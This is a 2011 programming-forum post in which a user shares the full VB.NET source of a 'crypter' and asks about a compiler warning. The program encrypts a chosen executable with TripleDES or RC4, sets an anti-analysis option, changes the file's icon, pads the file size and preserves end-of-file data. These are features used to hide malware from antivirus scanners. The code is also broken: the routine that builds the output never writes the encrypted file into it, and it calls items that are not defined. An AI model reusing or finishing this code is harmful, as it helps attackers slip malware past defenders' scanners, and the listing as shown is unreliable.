|
-
Sep 19th, 2011, 05:57 PM
#1
Thread Starter
New Member
Help with "I am Crypter"
So, I was on here yesterday and someone told me they could help me with my code if i posted it on the forum. The code is below and if anyone wants to help me I would be very thankful it.
The warning I receive:
Warning 1 Variable 'Buf' is used before it has been assigned a value. A null reference exception could result at runtime. I:\Users\noah\Desktop\I am Crypter\I am Crypter\Form1.vb 202 19 I am Crypter
Code:
Imports System.IO, System.Text
Public Class Form1
Dim ifile, res, enctype, antis, processZ, cfile, bfile, b1file As String
Dim output As String = Application.StartupPath + "\Done.exe"
Dim Buts As String = Application.StartupPath + "\Buts.exe"
Dim TheEOF As String
Private Sub IconBrowse_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles IconBrowse.Click
With ofd
.FileName = ""
.Filter = "Icons(*.ico)|*.ico"
.ShowDialog()
IconPath.Text = .FileName
End With
End Sub
Public Function RandomNmbr(ByVal min As Integer, ByVal max As Integer) As Integer
Dim random As New Random()
Return random.Next(min, max)
End Function
Public Function RandomStrng(ByVal size As Integer, ByVal lowerCase As Boolean) As String
Dim builder As New StringBuilder()
Dim random As New Random()
Dim ch As Char
Dim i As Integer
For i = 0 To size - 1
ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65)))
builder.Append(ch)
Next i
If lowerCase Then
Return builder.ToString().ToLower()
End If
Return builder.ToString()
End Function
Public Function GetRndm() As String
Dim builder As New StringBuilder()
builder.Append(RandomString(4, True))
builder.Append(RandomNumber(1000, 9999))
builder.Append(RandomString(2, False))
Return builder.ToString()
End Function
Public Function App_Path() As String
Return System.AppDomain.CurrentDomain.BaseDirectory()
End Function
Private Sub IconIt(ByVal SourceIcon As String)
Shell(App_Path() & "res\\res.exe -addoverwrite " & Buts & ", " & Buts & ", " & SourceIcon & ", " & "icongroup, 1,0")
End Sub
Private Sub cit()
Dim key As String = EncryptionKey.Text
Dim Cut As String = "/Assembly/"
'get Buts
FileOpen(1, Buts, OpenMode.Binary)
res = Space(LOF(1))
FileGet(1, res)
FileClose(1)
'get file to crypt
FileOpen(1, (FilePath.Text), OpenMode.Binary)
ifile = Space(LOF(1))
FileGet(1, ifile)
FileClose(1)
cfile = ifile
If TDES.Checked Then
enctype = "TripleDESEncryption"
cfile = _3des.Encrypt(ifile, key, True)
ElseIf RC4.Checked Then
enctype = "RC4Encryption"
cfile = RC4Enc.RC4Enc(ifile, key)
End If
FileOpen(1, output, OpenMode.Binary)
FilePut(1, Cut)
FilePut(1, Cut)
FilePut(1, key)
FilePut(1, Cut)
FilePut(1, enctype)
FilePut(1, Cut)
FilePut(1, antis)
FilePut(1, Cut)
FilePut(1, processZ)
FilePut(1, Cut)
FilePut(1, Cut)
FilePut(1, Cut)
FileClose(1)
End Sub
Private Sub FileBrowse_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FileBrowse.Click
With ofd
.FileName = ""
.Filter = "Executable(*.exe)|*.exe"
.ShowDialog()
FilePath.Text = .FileName
ifile = FilePath.Text
End With
End Sub
Private Sub Crypt_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Crypt.Click
If File.Exists(output) Then
Kill(output)
End If
File.Copy(Application.StartupPath + "\Buts.exe", Buts)
If CheckAntis.Checked Then
antis = "true"
Else
antis = "false"
End If
If UseIcon.Checked Then
Call IconIt(IconPath.Text)
End If
Call cit()
File.Delete(Buts)
If Pump.Checked Then
Dim file1 = File.OpenWrite(Application.StartupPath + "\Done.exe")
Dim siza = file1.Seek(0, SeekOrigin.[End])
Dim size = Convert.ToInt32(MB)
Dim bite As Decimal = size * 1048576
While siza < bite
siza += 1
file1.WriteByte(0)
End While
file1.Close()
End If
TheEOF = ReadEOFData(FilePath.Text)
If TheEOF = Nothing Then
MessageBox.Show("File Crypted!")
Else
IO.File.AppendAllText(FilePath.Text, TheEOF)
MessageBox.Show("File Crypted With EOF!")
End If
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim myfkey As String = GetRandom.ToString
EncryptionKey.Text = myfkey
End Sub
Public Function RandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer
Dim random As New Random()
Return random.Next(min, max)
End Function
Public Function RandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String
Dim builder As New StringBuilder()
Dim random As New Random()
Dim ch As Char
Dim i As Integer
For i = 0 To size - 1
ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65)))
builder.Append(ch)
Next i
If lowerCase Then
Return builder.ToString().ToLower()
End If
Return builder.ToString()
End Function
Public Function GetRandom() As String
Dim builder As New StringBuilder()
builder.Append(RandomString(4, True))
builder.Append(RandomNumber(1000, 9999))
builder.Append(RandomString(2, False))
Return builder.ToString()
End Function
Public Function ReadEOFData(ByRef FilePath As String) As String
Dim EOFBuf As String
Dim lPos As Integer
If Dir(FilePath) = "" Then
End If
Dim ReadFile As String = IO.File.ReadAllText(FilePath)
lPos = InStr(1, StrReverse(ReadFile), GetNullBytes(30))
EOFBuf = (Mid(StrReverse(ReadFile), 1, lPos - 1))
ReadEOFData = StrReverse(EOFBuf)
If ReadEOFData = "" Then
End If
Exit Function
End Function
Public Function GetNullBytes(ByRef lNum As Object) As String
Dim Buf As String
Dim i As Short
For i = 1 To lNum
Buf = Buf & Chr(0)
Next
GetNullBytes = Buf
End Function
End Class
Tags for this Thread
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|